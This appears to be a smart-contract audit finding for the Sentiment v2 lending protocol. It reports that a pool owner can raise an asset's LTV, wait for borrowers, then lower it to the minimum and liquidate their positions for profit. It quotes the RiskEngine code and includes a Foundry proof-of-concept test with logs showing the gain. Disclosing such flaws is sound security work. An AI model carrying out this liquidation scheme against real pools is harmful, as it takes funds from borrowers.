Smooth Opal Chameleon

High

# The owner of pool can manipulate the `ltv` to liquidate others' positions for profit

## Summary
Issue High: The owner of pool can manipulate the `ltv` to liquidate others' positions for profit

## Vulnerability Detail

In the contract `RiskEngine.sol`, the owner of pool can change `ltv` of the pool using functions `requestLtvUpdate` and `acceptLtvUpdate`

[RiskEngine](https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/main/protocol-v2/src/RiskEngine.sol#L167-L210)

```solidity
    function requestLtvUpdate(uint256 poolId, address asset, uint256 ltv) external {
        if (msg.sender != pool.ownerOf(poolId)) revert RiskEngine_OnlyPoolOwner(poolId, msg.sender);

        // set oracle before ltv so risk modules don't have to explicitly check if an oracle exists
        if (oracleFor[asset] == address(0)) revert RiskEngine_NoOracleFound(asset);

        // ensure new ltv is within global limits. also enforces that an existing ltv cannot be updated to zero
        if (ltv < minLtv || ltv > maxLtv) revert RiskEngine_LtvLimitBreached(ltv);

        // Positions cannot borrow against the same asset that is being lent out
        if (pool.getPoolAssetFor(poolId) == asset) revert RiskEngine_CannotBorrowPoolAsset(poolId);

        LtvUpdate memory ltvUpdate;
        // only modification of previously set ltvs require a timelock
        if (ltvFor[poolId][asset] == 0) ltvUpdate = LtvUpdate({ ltv: ltv, validAfter: block.timestamp });
        else ltvUpdate = LtvUpdate({ ltv: ltv, validAfter: block.timestamp + TIMELOCK_DURATION });

        ltvUpdateFor[poolId][asset] = ltvUpdate;

        emit LtvUpdateRequested(poolId, asset, ltvUpdate);
    }

    /// @notice Apply a pending LTV update
    function acceptLtvUpdate(uint256 poolId, address asset) external {
        if (msg.sender != pool.ownerOf(poolId)) revert RiskEngine_OnlyPoolOwner(poolId, msg.sender);

        LtvUpdate memory ltvUpdate = ltvUpdateFor[poolId][asset];

        // revert if there is no pending update
        if (ltvUpdate.validAfter == 0) revert RiskEngine_NoLtvUpdate(poolId, asset);

        // revert if called before timelock delay has passed
        if (ltvUpdate.validAfter > block.timestamp) revert RiskEngine_LtvUpdateTimelocked(poolId, asset);

        // revert if timelock deadline has passed
        if (block.timestamp > ltvUpdate.validAfter + TIMELOCK_DEADLINE) {
            revert RiskEngine_LtvUpdateExpired(poolId, asset);
        }

        // apply changes
        ltvFor[poolId][asset] = ltvUpdate.ltv;
        delete ltvUpdateFor[poolId][asset];
        emit LtvUpdateAccepted(poolId, asset, ltvUpdate.ltv);
    }
```

So, a malicious user can do operations as follows:
1.create a pool by invoking the function `initializePool`
2.set the `ltv` of the pool to be `maxLtv` by invoking the function `requestLtvUpdate` and `acceptLtvUpdate`
3.waiting for victims to borrow asset from this pool.
4.propose a request to set the `ltv` of the pool to be `minLtv` by invoking the function `requestLtvUpdate`
5.wait for a `TIMELOCK_DURATION` to invoke the function `acceptLtvUpdate` and liquidate the unhealthy positions due to the change of `ltv` in one transaction.
6.the malicious owner of the pool can get profit from the liquidation.


## Proof of Concept

Attention:in the poc the price of asset1 equals the price of asset2

1.add this import in test/integration/LiquidationTest.t.sol

```solidity
import {console} from "forge-std/console.sol";
```

2.add this poc in test/integration/LiquidationTest.t.sol

```solidity
    function testLiquidate_poc() public {
      
        uint256 TIMELOCK_DURATION = 24 * 60 * 60;

        vm.startPrank(poolOwner);
        riskEngine.requestLtvUpdate(fixedRatePool, address(asset2), riskEngine.maxLtv()); // maxltv 0.8e18
        vm.warp(block.timestamp+TIMELOCK_DURATION);
        riskEngine.acceptLtvUpdate(fixedRatePool, address(asset2));
        vm.stopPrank();
        

        vm.startPrank(user);
        asset2.approve(address(positionManager), 1e18);

        // deposit 1e18 asset2, borrow 1e18 asset1
        Action[] memory actions = new Action[](4);
        (position, actions[0]) = newPosition(user, bytes32(uint256(0x123456789)));
        actions[1] = deposit(address(asset2), 1e18);
        actions[2] = addToken(address(asset2));
        actions[3] = borrow(fixedRatePool, 0.7e18);
        positionManager.processBatch(position, actions);
        assertTrue(riskEngine.isPositionHealthy(position));

        vm.stopPrank();

        asset1.mint(poolOwner, 1e18);

        console2.log("Beforeliqudate asset1.balanceOf(poolOwner)",asset1.balanceOf(poolOwner));
        console2.log("Beforeliqudate asset2.balanceOf(poolOwner)",asset2.balanceOf(poolOwner));

        vm.startPrank(poolOwner);
        riskEngine.requestLtvUpdate(fixedRatePool, address(asset2), riskEngine.minLtv()); // minltv 0.2e18
        vm.warp(block.timestamp+TIMELOCK_DURATION);
        riskEngine.acceptLtvUpdate(fixedRatePool, address(asset2));

        assertFalse(riskEngine.isPositionHealthy(position));

        // construct liquidator data
        DebtData memory debtData = DebtData({ poolId: fixedRatePool, amt: type(uint256).max });
        DebtData[] memory debts = new DebtData[](1);
        debts[0] = debtData;
        AssetData memory asset1Data = AssetData({ asset: address(asset2), amt: 877395619438740590 });
        AssetData[] memory assets = new AssetData[](1);
        assets[0] = asset1Data;

        // liquidate
        asset1.approve(address(positionManager), 1e18);
        positionManager.liquidate(position, debts, assets);
        vm.stopPrank();

        console2.log("Afterliqudate asset1.balanceOf(poolOwner)",asset1.balanceOf(poolOwner));
        console2.log("Afterliqudate asset2.balanceOf(poolOwner)",asset2.balanceOf(poolOwner));

    }
```

log
```solidity
[PASS] testLiquidate_poc() (gas: 859305)
Logs:
    //Attention:in the poc the price of asset1 equals the price of asset2
  Beforeliqudate asset1.balanceOf(poolOwner) 1000000000000000000
  Beforeliqudate asset2.balanceOf(poolOwner) 0

  Afterliqudate asset1.balanceOf(poolOwner) 298083504449007528
  Afterliqudate asset2.balanceOf(poolOwner) 877395619438740590
```

## Impact

The owner of pool can manipulate the `ltv` to liquidate others' positions for profit.

## Code Snippet

https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/main/protocol-v2/src/RiskEngine.sol#L167-L210

## Tool used
Manual Review

## Recommendation
Restrict the permissions of pools' owner.